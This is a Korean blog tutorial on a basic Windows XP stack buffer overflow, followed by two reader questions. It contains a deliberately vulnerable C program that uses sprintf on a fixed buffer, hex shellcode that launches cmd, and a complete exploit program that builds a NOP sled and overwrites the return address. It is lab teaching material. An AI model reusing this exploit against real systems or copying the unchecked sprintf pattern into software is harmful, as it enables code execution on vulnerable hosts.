System/Windows2012. 4. 8. 19:41

 

windows bof [쉘 코드 만들기]에서 만든 쉘 코드를 이용해서 간단한 stack bof를 해보겠습니다.

실습환경은 이전처럼 Windows XP(Service Pack 2), Visual 6.0입니다.

 

먼저 bof에 취약한 프로그램을 만듭니다.

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
 char buf[100];

 if( argc < 2)
 {
  printf("%s string\n", argv[0]);
  exit(1);
 }
 
 printf("\nbuf : 0x%x\n", buf);
 sprintf(buf, argv[1]);
 printf("%s\n", buf);
 return 0;
}

sprintf로 인해서 bof취약점이 존재하게 만들었습니다. 그리고 나중에 리턴할 주소를 쉽게 알기 위해서 buf의 주소를 출력해줍니다.

 

아래와 같이 실행됩니다. buf의 주소도 출력해주고 있죠. (buf의 주소 : 0x12ff1c)

 

이번에는 인자로aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc를 넣어주었습니다.

overflow되어서 아래처럼 뜹니다.

buf[100] <- 'a'x100

SFP <- 'b'x4

ret주소 <- 'c'x4  이렇게 들어가겠죠.

 

디버그를 눌러서 확인해보면 (visual 6에서의 디버그 입니다.)

예상대로 EBP에는 'b'(0x62)가 EIP에는 'c'(0x63)가 들어가 있습니다. 따라서 우리가 원하는 주소로 리턴할 있음을 확인할 수 있습니다.

 


 

이제 buf[100]영역에 nop + shellcode를 넣어서 공격해 보겠습니다.

 

쉘 코드windows bof [쉘 코드 만들기]에서 만들었던 cmd를 띄우는 쉘 코드를 사용하겠습니다.

"\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3"

 

공격은 hex값을 쉽게 넣어 주기위해 execl를 사용하는 공격 프로그램을 만들어서 exploit 하겠습니다.

#include <windows.h>
#include <stdio.h>
#include <process.h>

char shellcode[] = "\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3";

void main(int argc, char *argv[])
{
 char buffer[120];
 int ebp = atoi(argv[1]);    //sfp의 위치를 받아옵니다.

 memset(buffer, 0x90, sizeof(buffer));
 memcpy(buffer+25, shellcode, strlen(shellcode)); //nopx25 + shellcode
                          
 *(long *)&buffer[ebp] = 0x41424344;   //sfp
 *(long *)&buffer[ebp+4] = 0x0012ff1c;  //ret주소
  
 execl("vuln", "vuln", buffer, 0);

}        

 

buf의 크기가 100이므로 100을 인자로 줍니다.

nop + 쉘 코드가 있는 곳으로 정상적으로 리턴되어서 cmd가 실행되네요.

 

이것으로 기본적인 windows bof를 마치겠습니다.~

 

* reference

http://uptx.egloos.com/372313

N@R_1李.pdf 

Win_Shellcode_Anesra.pdf

'System > Windows' 카테고리의 다른 글

pydbg로 Fuzzer 만들기  (0) 2014.04.27
Windows에서의 스택 할당  (0) 2013.12.28
FileFuzz, Peach Fuzzer 링크  (0) 2013.11.12
메모리 보호 기법 DEP/NX  (1) 2012.09.05
windows bof [basic stack overflow]  (2) 2012.04.08
windows bof [쉘 코드 만들기]  (0) 2012.04.08
Posted by bbolmin

댓글을 달아 주세요

  1. ccc

    int ebp = atoi(argv[1]); // 이것이 어떻게 sfp의 위치를 받아올수 있는건가요..?

    2017.04.28 05:29 [ ADDR : EDIT/ DEL : REPLY ]
  2. ccc

    그리구요. vuln.exe랑 attack.exe랑 무슨 상관인가요?? 어느 실행파일을 실행하든 인자값으로 숫자만 넣었을뿐 서로간에 아무 연관이 없지 않나요?

    2017.04.30 06:14 [ ADDR : EDIT/ DEL : REPLY ]